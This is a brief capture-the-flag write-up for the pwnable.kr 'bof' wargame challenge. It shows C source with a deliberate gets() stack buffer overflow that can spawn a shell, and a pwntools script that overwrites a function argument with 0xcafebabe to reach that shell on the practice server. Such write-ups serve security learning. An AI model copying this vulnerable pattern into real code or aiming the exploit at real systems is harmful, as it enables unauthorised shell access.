题目
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
题解
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
局部变量buf溢出覆盖到函数参数key, 使key == 0xcafebabe
from pwn import *
url, port = "pwnable.kr", 9000
context(arch="i386", os="linux")
io = remote(url, port)
def pwn():
payload = cyclic(44 + 4 * 2) + p32(0xcafebabe)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
pwn()
io.interactive()